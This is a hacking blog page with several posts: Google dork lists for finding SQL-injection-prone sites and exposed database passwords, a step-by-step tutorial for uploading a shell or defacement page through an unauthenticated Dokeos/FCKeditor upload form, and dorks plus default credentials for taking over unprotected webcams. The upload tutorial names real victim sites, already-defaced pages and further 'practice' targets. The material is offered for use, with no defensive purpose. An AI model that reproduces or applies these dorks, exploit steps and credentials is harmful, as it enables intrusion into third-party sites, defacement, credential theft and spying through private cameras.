.:: Dark Site ::.: Google Dorks

google dorks for finding sqli vulnerable websites

The are many discussion which i have already done on Sqli on my <a href="http://www.darksite.co.in/search/label/SQlinjection">Sqli related posts</a>..but still for beginners i am posting this trick or you can say dorks to find SQLi Vulnerable websites. 
 
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXNjtzOBcPlFsyA7PbyIOwOpBnQvC07YcI-lwbCJNu8lF70HUkysf7oAi0C6M1g-7B8DBGwz3YCWEsCpplng0cNZJDHH4JCCpYBu4wOC1TvvTiDl5ICFRrg50pl0eQtsZptR_NRc9KJWvp/s1600/sql_img.jpg" imageanchor="1"><img alt="Google dorks for Sqli Websites" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXNjtzOBcPlFsyA7PbyIOwOpBnQvC07YcI-lwbCJNu8lF70HUkysf7oAi0C6M1g-7B8DBGwz3YCWEsCpplng0cNZJDHH4JCCpYBu4wOC1TvvTiDl5ICFRrg50pl0eQtsZptR_NRc9KJWvp/s320/sql_img.jpg" width="500" /></a> 
<h2>Google Dorks For SQLi Vuln Websites </h2> 
inurl:index.php?id= 
inurl:trainers.php?id= 
inurl:buy.php?category= 
inurl:article.php?ID= 
inurl:lay_old.php?id= 
inurl:declaration_more.php?decl_id= 
inurl:age.php?id= 
inurl:games.php?id= 
inurl:age.php?file= 
inurl:newsDetail.php?id= 
inurl:gallery.php?id= 
inurl:article.php?id= 
inurl:show.php?id= 
inurl:staff_id= 
inurl:newsitem.php?num= 
inurl:readnews.php?id= 
inurl:top10.php?cat= 
inurl:historialeer.php?num= 
inurl:reagir.php?num= 
inurl:tray-Questions-View.php?num= 
inurl:forum_bds.php?num= 
inurl:game.php?id= 
inurl:view_product.php?id= 
inurl:newsone.php?id= 
inurl:sw_comment.php?id= 
inurl:news.php?id= 
inurl:avd_start.php?avd= 
inurl:event.php?id= 
inurlroduct-item.php?id= 
inurl:sql.php?id= 
inurl:news_view.php?id= 
inurl:select_biblio.php?id= 
inurl:humor.php?id= 
inurl:aboutbook.php?id= 
inurl:fiche_spectacle.php?id= 
inurl:communique_detail.php?id= 
inurl:sem.php3?id= 
inurl:kategorie.php4?id= 
inurl:news.php?id= 
inurl:index.php?id= 
inurl:faq2.php?id= 
inurl:show_an.php?id= 
inurlreview.php?id= 
inurl:loadpsb.php?id= 
inurl:spr.php?id= 
inurl:ages.php?id= 
inurl:announce.php?id= 
inurl:clanek.php4?id= 
inurl:participant.php?id= 
inurl:download.php?id= 
inurl:main.php?id= 
inurl:review.php?id= 
inurl:chappies.php?id= 
inurl:read.php?id= 
inurl:rod_detail.php?id= 
inurl:viewphoto.php?id= 
inurl:article.php?id= 
inurl:person.php?id= 
inurl:productinfo.php?id= 
inurl:showimg.php?id= 
inurl:view.php?id= 
inurl:website.php?id= 
inurl:hosting_info.php?id= 
inurl:gallery.php?id=, inurl:rub.php?idr= 
inurl:view_faq.php?id= 
inurl:artikelinfo.php?id= 
inurl:detail.php?ID= 
inurl:index.php?= 
inurl:profile_view.php?id= 
inurl:category.php?id= 
inurl:publications.php?id= 
inurl:fellows.php?id= 
inurl:downloads_info.php?id= 
inurl:rod_info.php?id= 
inurl:shop.php?do=part&id= 
inurl:productinfo.php?id= 
inurl:collectionitem.php?id= 
inurl:band_info.php?id= 
inurl:product.php?id= 
inurl:releases.php?id= 
inurl:ray.php?id= 
inurl:produit.php?id= 
inurl:pop.php?id= 
inurl:shopping.php?id= 
inurl:productdetail.php?id= 
inurl:ost.php?id= 
inurl:viewshowdetail.php?id= 
inurl:clubpage.php?id= 
inurl:memberInfo.php?id= 
inurl:section.php?id= 
inurl:theme.php?id= 
inurl:shredder-categories.php?id= 
inurl:tradeCategory.php?id= 
inurl:product_ranges_view.php?ID= 
inurl:shop_category.php?id= 
inurl:transcript.php?id= 
inurl:channel_id= 
inurl:item_id= 
inurl:newsid= 
inurl:trainers.php?id= 
inurl:news-full.php?id= 
inurl:news_display.php?getid= 
inurl:index2.php?option= 
inurl:readnews.php?id= 
inurl:top10.php?cat= 
inurl:newsone.php?id= 
inurl:event.php?id= 
inurl:product-item.php?id= 
inurl:sql.php?id= 
inurl:aboutbook.php?id= 
inurl:review.php?id= 
inurl:loadpsb.php?id= 
inurl:ages.php?id= 
inurl:material.php?id= 
inurl:clanek.php4?id= 
inurl:announce.php?id= 
inurl:chappies.php?id= 
inurl:read.php?id= 
inurl:viewapp.php?id= 
inurl:viewphoto.php?id= 
inurl:rub.php?idr= 
inurl:galeri_info.php?l= 
inurl:review.php?id= 
inurl:iniziativa.php?in= 
inurl:curriculum.php?id= 
inurl:labels.php?id= 
inurl:story.php?id= 
inurl:look.php?ID= 
inurl:newsone.php?id= 
inurl:aboutbook.php?id= 
inurl:material.php?id= 
inurl:opinions.php?id= 
inurl:announce.php?id= 
inurl:rub.php?idr= 
inurl:galeri_info.php?l= 
inurl:tekst.php?idt= 
inurl:newscat.php?id= 
inurl:newsticker_info.php?idn= 
inurl:rubrika.php?idr= 
inurl:rubp.php?idr= 
inurl:offer.php?idf= 
inurl:art.php?idm= 
inurl:title.php?id= 
inurl:"id=" & intext:"Warning: mysql_fetch_assoc() 
inurl:"id=" & intext:"Warning: mysql_fetch_array() 
inurl:"id=" & intext:"Warning: mysql_num_rows() 
inurl:"id=" & intext:"Warning: session_start() 
inurl:"id=" & intext:"Warning: getimagesize() 
inurl:"id=" & intext:"Warning: is_writable() 
inurl:"id=" & intext:"Warning: getimagesize() 
inurl:"id=" & intext:"Warning: Unknown() 
inurl:"id=" & intext:"Warning: session_start() 
inurl:"id=" & intext:"Warning: mysql_result() 
inurl:"id=" & intext:"Warning: pg_exec() 
inurl:"id=" & intext:"Warning: mysql_result() 
inurl:"id=" & intext:"Warning: mysql_num_rows() 
inurl:"id=" & intext:"Warning: mysql_query() 
inurl:"id=" & intext:"Warning: array_merge() 
inurl:"id=" & intext:"Warning: preg_match() 
inurl:"id=" & intext:"Warning: ilesize() 
inurl:"id=" & intext:"Warning: filesize() 
inurl:"id=" & intext:"Warning: filesize() 
inurl:"id=" & intext:"Warning: require() 
 
Any other dorks if you need do leave a comment i will be replying to that.

google dorks for finding sqli vulnerable websites

The are many discussion which i have already done on Sqli on my Sqli related posts ..but still for beginners i am posting this trick or you ...

"Google Pong Game" An Awesome surface of Google Image Search

Google Pong Game water is an image search Surface, based on Jquery and javascripts, just type "atari breakout" (Without Quotes in...

Shell Uploading And Defacing Tutorial Using Portails Dokes Exploit

Hello Friends i have decided to put more tutorial on web vulnerabilities so thought of posting some cool upload shell and defacing web vulnerabilities. 
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyTcHZ-7uAzBGXa11JHPf4OyPsDOrAcxOlS8hnzW9GJfTor8Pp7uEzQX-4mGTaNNJRE3OejyMnqet4xChN8uNdMmUBLMBqnjtODcyPnMnqf3t4GZK5ro_b4NXdEZQPh9g0nnH2NTqBGMln/s1600/security.jpg" imageanchor="1"><img alt="web vulnerability and exploit" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyTcHZ-7uAzBGXa11JHPf4OyPsDOrAcxOlS8hnzW9GJfTor8Pp7uEzQX-4mGTaNNJRE3OejyMnqet4xChN8uNdMmUBLMBqnjtODcyPnMnqf3t4GZK5ro_b4NXdEZQPh9g0nnH2NTqBGMln/s320/security.jpg" /></a> 
So lets get started... 
 
Using this vulnerability hacker can upload shell or webpage without knowing user name or password. 
 
To do this you need two things : 
 
1st: 
 
Google Dork : "Portail Dokeos 1.8.5" 
(search for the string that is inside double quotes that we call a google dork) 
 
2nd: 
 
Exploit : http://websitename/patch/main/inc/lib/fckeditor/editor/filemanager/upload/test.html 
 
(Its usually a url that hacker put to run his shell/you can say here uploading webpage) 
 
 
Things that you need to do 
 
Goto : http://websitename/patch/main/inc/lib/fckeditor/editor/filemanager/upload/test.html 
change asp into PHP like FCK editor and Upload you deface shell or file, You can upload, .html .php .jpg .txt formats here To view your uploaded file go here : http://websitename/patch/main/upload/your file here 
 
<h3>Live Demo :</h3> 
http://www.kifofy.fr/kcours/main//inc/lib/fckeditor/editor/filemanager/upload/test.html 
http://www.formation.megalodon.fr/main/inc/lib/fckeditor/editor/filemanager/upload/test.html 
 
Output results : 
 
<a href="http://www.kifofy.fr/kcours/main/upload/darksite.co.in.html">http://www.kifofy.fr/kcours/main/upload/darksite.co.in.html</a> 
<a href="http://www.formation-microkine.fr/main/upload/darksite.co.in.html">http://www.formation-microkine.fr/main/upload/darksite.co.in.html</a> 
 
More such url for practice: 
 
http://my.eurasiam.com/main/inc/lib/fckeditor/editor/filemanager/upload/test.html 
http://www.ecoleprimaireenligne.fr/main/inc/lib/fckeditor/editor/filemanager/upload/test.html 
http://www.fpafoad22.fr/main/inc/lib/fckeditor/editor/filemanager/upload/test.html 
 
Good Luck Hcakers Stay awake for many such tutorials :)

Shell Uploading And Defacing Tutorial Using Portails Dokes Exploit

Hello Friends i have decided to put more tutorial on web vulnerabilities so thought of posting some cool upload shell and defacing web vulne...

Latest Google Dork To find Wireless Security | Webcams

Previously i have already posted an Article on <a href="http://www.darksite.in/2012/03/gain-acess-to-unprotected-webcams.html">Google to Gain Accesses To Unprotected Webcam </a> 
 
Today i am posting an article on Latest Google dork to find wireless Security | Web cams And Gain Administrative access 
 
<div class="separator" style="clear: both; text-align: center;"><a href="http://lh5.ggpht.com/_9gtR0vzXf40/S8nT5yicEII/AAAAAAAAABY/plYHYMMnNMo/s1600/0002048B.gif" imageanchor="1" style="clear:left; float:left;margin-right:1em; margin-bottom:1em"><img border="0" height="130" src="http://lh5.ggpht.com/_9gtR0vzXf40/S8nT5yicEII/AAAAAAAAABY/plYHYMMnNMo/s1600/0002048B.gif" width="130" /></a></div> 
This dork finds Wireless Security/Webcams that are accessible from the web. The interesting part is that for some reason these cameras do not generally allow users to remove/change the default administrative 
username and pass. So in most cases you can view any camera that shows up in the google search. 
 
Default Username: admin01 
Default Password: 000000 
 111111 
 999999 
 
Thanks Keep Visiting :)

Latest Google Dork To find Wireless Security | Webcams

Previously i have already posted an Article on Google to Gain Accesses To Unprotected Webcam Today i am posting an article on Latest Goog...

Google dork to Get usernames And Password + database

In this tutorial i will be telling how to find database of a site with the help of google. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLqpe_ALq04ZpBt54FmAsJqHqhlk5HtxSTKVtb5183UfLDE7jpYcnM-TqzUBrOTbmFtvw6VO1qWY0TTY6gv6vMHSXuXhUl1tAn4vfwbnY1lIb2BrSS1zRpn_fD6afZVHRffmh5D1kKNBNW/s1600/slide16.png" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="227" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLqpe_ALq04ZpBt54FmAsJqHqhlk5HtxSTKVtb5183UfLDE7jpYcnM-TqzUBrOTbmFtvw6VO1qWY0TTY6gv6vMHSXuXhUl1tAn4vfwbnY1lIb2BrSS1zRpn_fD6afZVHRffmh5D1kKNBNW/s400/slide16.png" width="500" /></a></div> 
 
follow the steps : 
 
1)goto Google 
 
2) enter this: filetype: This "pdo_mysql" (pass | passwd | password | pwd) 
on search box 
see the results 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyjC4bTaS_sbioFRNATUiBJ61Mbffr9Gh0mB8fIqyUQUMm0B3SA95nQqzt4kuC5GPjaGs1vtoAjzaq7S09ifpye6hnQIWyCbvTyiqeN3VzudBFuC4tliOdjNEh2EzPUd4Oq679NKKhA2pr/s1600/1.png" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="305" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyjC4bTaS_sbioFRNATUiBJ61Mbffr9Gh0mB8fIqyUQUMm0B3SA95nQqzt4kuC5GPjaGs1vtoAjzaq7S09ifpye6hnQIWyCbvTyiqeN3VzudBFuC4tliOdjNEh2EzPUd4Oq679NKKhA2pr/s400/1.png" width="500" /></a></div> 
 
If you did nt find this type results then click on 5-6-7.....30 pages. finally you'll find many websites 
 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhezEowwGgI8VfUUnDq19IqIgs9xy99UTkPJzHnAx0gCfAzHmy1f2xbCAlqGncuGIBOpWTYBgrYFrlNB_ivalZEXCRrZO8JWG7SrmVZ1mGVs1-G6FY8DKqJBsEm3C7ajHFKcp8O4VWlMuuj/s1600/2.png" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="592" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhezEowwGgI8VfUUnDq19IqIgs9xy99UTkPJzHnAx0gCfAzHmy1f2xbCAlqGncuGIBOpWTYBgrYFrlNB_ivalZEXCRrZO8JWG7SrmVZ1mGVs1-G6FY8DKqJBsEm3C7ajHFKcp8O4VWlMuuj/s400/2.png" width="400" /></a></div> 
Now Click on site, You will got all datbase of website very simple and cool trick ... 
Hit like do share ...thanks

Google dork to Get usernames And Password + database

In this tutorial i will be telling how to find database of a site with the help of google. follow the steps : 1)goto Google 2) enter ...

gain acess to unprotected webcams

Friends here is the small trick to 
access unprotected web cam using Google dorks. 
There are many number of unprotected webcams available online, Since many Webcams use known protocols to transmit live video streams over the web, it's often very easy to search for publicly accessible web-cams. 
<div><a href="http://lh5.ggpht.com/_9gtR0vzXf40/S8nT5yicEII/AAAAAAAAABY/plYHYMMnNMo/s1600/0002048B.gif" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img alt="0002048B.gif (130×130)" border="0" src="http://lh5.ggpht.com/_9gtR0vzXf40/S8nT5yicEII/AAAAAAAAABY/plYHYMMnNMo/s400/0002048B.gif" /></a></div> 
 
Follow these Steps 
1.First of all open your browser and put Google.com on URL Bar/ Address Bar. 
2.Search on Google for the following Keyword: 
"inurl:/view.index.shtml" 
3. Next Choose a webcam and Enjoy 
 
 
Google Dorks 
Here are few list of best working Google Dorks used for this purpose: 
just put it on the Google search ox and Enjoy .control the unprotected Web cam and Enjoy the Beautiful videos... 
 
 
<ul><li>inurl:/view.shtml</li>
<li>intitle:”Live View / - AXIS” | inurl:view/view.shtml^</li>
<li>inurl:ViewerFrame?Mode=</li>
<li>inurl:ViewerFrame?Mode=Refresh</li>
<li>inurl:axis-cgi/jpg</li>
<li>inurl:axis-cgi/mjpg (motion-JPEG)</li>
<li>inurl:view/indexFrame.shtml</li>
<li>inurl:view/index.shtml</li>
<li>inurl:view/view.shtml</li>
<li>liveapplet</li>
<li>intitle:”live view” intitle:axis</li>
<li>intitle:liveapplet</li>
<li>allintitle:”Network Camera NetworkCamera”</li>
<li>intitle:axis intitle:”video server”</li>
<li>intitle:liveapplet inurl:LvAppl</li>
<li>intitle:”EvoCam” inurl:”webcam.html”</li>
<li>intitle:”Live NetSnap Cam-Server feed”</li>
<li>intitle:”Live View / - AXIS”</li>
<li>intitle:”Live View / - AXIS 206M”</li>
<li>intitle:”Live View / - AXIS 206W”</li>
<li>intitle:”Live View / - AXIS 210″</li>
<li>inurl:indexFrame.shtml Axis</li>
<li>inurl:”MultiCameraFrame?Mode=Motion”</li>
<li>intitle:start inurl:cgistart</li>
<li>intitle:”WJ-NT104 Main Page”</li>
<li>intext:”MOBOTIX M1″ intext:”Open Menu”</li>
<li>intext:”MOBOTIX M10″ intext:”Open Menu”</li>
<li>intext:”MOBOTIX D10″ intext:”Open Menu”</li>
<li>intitle:snc-z20 inurl:home/</li>
<li>intitle:snc-cs3 inurl:home/</li>
<li>intitle:snc-rz30 inurl:home/</li>
<li>intitle:”sony network camera snc-p1″</li>
<li>intitle:”sony network camera snc-m1″</li>
<li>site:.viewnetcam.com -www.viewnetcam.com</li>
<li>intitle:”Toshiba Network Camera” user login</li>
<li>intitle:”netcam live image”</li>
<li>intitle:”i-Catcher Console - Web Monitor”</li>
</ul> 
Thank you for reading...

gain acess to unprotected webcams

Friends here is the small trick to access unprotected web cam using Google dorks. There are many number of unprotected webcams available o...

google dorks for finding sqli vulnerable websites

"Google Pong Game" An Awesome surface of Google Image Search

Shell Uploading And Defacing Tutorial Using Portails Dokes Exploit

Latest Google Dork To find Wireless Security | Webcams

Google dork to Get usernames And Password + database

gain acess to unprotected webcams

Popular Posts

Blog Archive